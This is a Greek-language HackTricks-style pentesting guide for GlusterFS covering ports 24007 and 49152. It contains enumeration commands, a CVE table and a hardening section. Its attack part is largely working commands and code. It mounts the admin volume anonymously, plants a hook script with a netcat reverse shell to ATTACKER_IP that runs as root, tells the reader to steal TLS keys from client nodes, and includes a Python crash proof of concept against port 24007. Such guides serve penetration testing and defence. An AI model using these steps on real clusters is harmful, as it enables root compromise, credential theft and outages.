24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
GlusterFS είναι ένα κατανεμημένο σύστημα αρχείων που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα ενιαίο όνομα χώρου. Η διαχείριση δαίμονας (glusterd
) ακούει από προεπιλογή σε 24007/TCP και δίνει οδηγίες σε bricks του data-plane που ξεκινούν από 49152/TCP (μία θύρα ανά brick, με αύξηση). Οι εκδόσεις πριν από την 9.x χρησιμοποιούσαν 24008–24009/TCP για τη μεταφορά bricks, οπότε θα συναντήσετε αυτές τις θύρες σε κληρονομημένα clusters.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Συμβουλή: 24007 απαντά σε κλήσεις RPC ακόμη και όταν οι κόμβοι μόνο αποθήκευσης δεν εξάγουν κανένα όγκο; επομένως, η υπηρεσία είναι ένας αξιόπιστος στόχος pivot μέσα σε μεγάλες υποδομές.
Αρίθμηση
Εγκαταστήστε τα εργαλεία πελάτη στο επιτιθέμενο σύστημα σας:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Ανακάλυψη ομότιμων & υγεία
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Αναγνώριση όγκου
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Μόνταρε χωρίς προνόμια
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Αν η τοποθέτηση αποτύχει, ελέγξτε το /var/log/glusterfs/<vol_name>-<uid>.log
στην πλευρά του πελάτη. Συχνά προβλήματα είναι:
- Επιβολή TLS (
option transport.socket.ssl on
) - Έλεγχος πρόσβασης με βάση τη διεύθυνση (
option auth.allow <cidr>
)
Αντιμετώπιση προβλημάτων πιστοποιητικού
Κλέψτε τα παρακάτω αρχεία από οποιονδήποτε εξουσιοδοτημένο κόμβο πελάτη και τοποθετήστε τα στο /etc/ssl/
(ή στον κατάλογο που εμφανίζεται στο αρχείο καταγραφής σφαλμάτων):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Γνωστές Ευπάθειες (2022-2025)
CVE | Επηρεαζόμενες εκδόσεις | Επιπτώσεις | Σημειώσεις |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Χρήση μετά από απελευθέρωση στη dht_setxattr_mds_cbk προσβάσιμη μέσω του δικτύου | Απομακρυσμένο DoS και πιθανή RCE. Διορθώθηκε στην 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Ανάγνωση εκτός ορίων στον χειριστή ειδοποιήσεων FUSE | Απομακρυσμένη κατάρρευση μέσω κατασκευασμένων λειτουργιών FS; δημόσιο PoC διαθέσιμο. |
CVE-2023-3775 | < 10.5 / 11.1 | Λανθασμένη επικύρωση δικαιωμάτων κατά την τοποθέτηση του gluster_shared_storage | Επιτρέπει σε οποιονδήποτε μη αυθεντικοποιημένο πελάτη να τοποθετήσει τον όγκο διαχειριστή – οδηγεί σε priv-esc που εξηγείται παρακάτω. |
Ελέγχετε πάντα το
gluster --version
σε κάθε κόμβο; ετερογενείς κλάστερ είναι συνηθισμένοι μετά από μερικές αναβαθμίσεις.
Εκμετάλλευση του gluster_shared_storage
(Αύξηση Δικαιωμάτων)
Ακόμα και σε πρόσφατες εκδόσεις, πολλοί διαχειριστές αφήνουν τον ειδικό όγκο gluster_shared_storage
αναγνώσιμο από όλους επειδή απλοποιεί τη γεω-αναπαραγωγή. Ο όγκος περιέχει πρότυπα cronjob που εκτελούνται με root σε κάθε κόμβο.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Αν το hooks/1/
δεν είναι παρόν, αναζητήστε το /ss_bricks/
– η ακριβής διαδρομή μπορεί να διαφέρει με την κύρια έκδοση.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Η εκτέλεση του script προκαλεί κατάρρευση του glusterfsd
< 11.0.
Σκληροποίηση & Ανίχνευση
- Αναβάθμιση – η τρέχουσα LTS είναι 11.1 (Ιούλιος 2025). Όλες οι CVEs παραπάνω έχουν διορθωθεί.
- Ενεργοποιήστε το TLS για κάθε brick:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Περιορίστε τους πελάτες με λίστες CIDR:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Εκθέστε την θύρα διαχείρισης 24007 μόνο σε ιδιωτικό VLAN ή μέσω SSH tunnels.
- Παρακολουθήστε τα logs:
tail -f /var/log/glusterfs/glusterd.log
και ρυθμίστε τη δυνατότητα audit-log (volume set <vol> features.audit-log on
).
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.